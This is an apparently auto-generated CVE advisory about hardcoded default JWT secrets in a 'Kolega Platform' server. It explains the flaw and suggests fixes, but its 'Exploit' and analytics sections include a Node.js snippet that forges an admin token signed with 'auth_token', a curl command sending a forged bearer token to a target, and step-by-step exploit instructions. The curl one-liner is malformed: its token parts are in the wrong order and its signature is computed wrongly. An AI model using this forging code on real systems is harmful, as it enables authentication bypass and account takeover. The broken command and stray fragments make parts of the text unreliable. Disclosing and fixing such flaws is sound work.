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This vulnerability arises from weak hardcoded default secrets for JWT authentication. In the affected code (packages/server/src/enterprise/middleware/passport/index.ts:29-34), the application defines `jwtAudience` defaulting to ‘AUDIENCE’, `jwtIssuer` defaulting to ‘ISSUER’, `jwtAuthTokenSecret` defaulting to ‘auth_token’, and `jwtRefreshSecret` defaulting to process.env.JWT_REFRESH_TOKEN_SECRET || process.env.JWT_AUTH_TOKEN_SECRET || 'refresh_token'. If an administrator deploys without setting the corresponding environment variables (JWT_AUDIENCE, JWT_ISSUER, JWT_AUTH_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET), these trivially guessable strings are used as cryptographic secrets. Attackers who know these defaults (publicly visible in source code) can craft a valid JWT by signing a payload with ‘auth_token’ or ‘refresh_token’, setting any user identifier (e.g., “admin”) in the token claims. The application then accepts the forged token as legitimate, granting the attacker full access to protected endpoints. Additionally, the fallback chain causes refresh and auth tokens to share the same secret if only JWT_AUTH_TOKEN_SECRET is set, further weakening security. No startup validation exists, so the application silently operates with these insecure defaults. Exploitation requires no prior authentication and can lead to complete account takeover, including admin escalation.
dailycve form:
Platform: Kolega Platform
Version: All configurations
Vulnerability: Hardcoded JWT secrets
Severity: Critical
date: 2026-04-16
Prediction: April 30 2026
Analytics under What Undercode Say:
Check if weak defaults are used
curl -X GET https://target.com/api/protected -H "Authorization: Bearer $(echo -n '{"sub":"admin","iat":1516239022}' | openssl base64 -A).$(echo -n '{"alg":"HS256","typ":"JWT"}' | openssl base64 -A).$(echo -n 'auth_token' | openssl dgst -sha256 -hmac 'auth_token' -binary | base64)"
Enumerate missing env vars in container
docker exec app sh -c 'printenv | grep -E "JWT_AUTH_TOKEN_SECRET|JWT_REFRESH_TOKEN_SECRET|JWT_AUDIENCE|JWT_ISSUER"'
// Node.js code to forge JWT using hardcoded secret 'auth_token'
const jwt = require('jsonwebtoken');
const token = jwt.sign({ sub: 'admin', role: 'superadmin' }, 'auth_token', { expiresIn: '1h', audience: 'AUDIENCE', issuer: 'ISSUER' });
console.log('Forged token:', token);
Exploit:
1. Identify target using the vulnerable Kolega platform.
- Generate JWT with arbitrary user claims (e.g.,
sub=admin) signed with secretauth_token.
3. Set algorithm `HS256`, audience `AUDIENCE`, issuer `ISSUER`.
- Send forged token in `Authorization: Bearer
` header to any protected endpoint. - Access all API routes, including admin-only functions, without valid credentials.
Protection from this CVE:
- Remove all default secrets; require explicit setting of JWT_AUTH_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET, JWT_AUDIENCE, JWT_ISSUER in production.
- Add startup validation that throws an error and prevents application launch if any JWT secret is missing or matches weak defaults.
- Generate cryptographically random secrets (256+ bits) per secret independently, e.g.,
openssl rand -base64 32. - Implement secret rotation and avoid fallback chains between different token types.
Impact:
Complete authentication bypass allowing any attacker to impersonate any user, including administrators. Leads to unauthorized data access, privilege escalation, account takeover, and full system compromise. No prior authentication required; remote exploitation trivial.
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Sources:
Reported By: github.com
Extra Source Hub:
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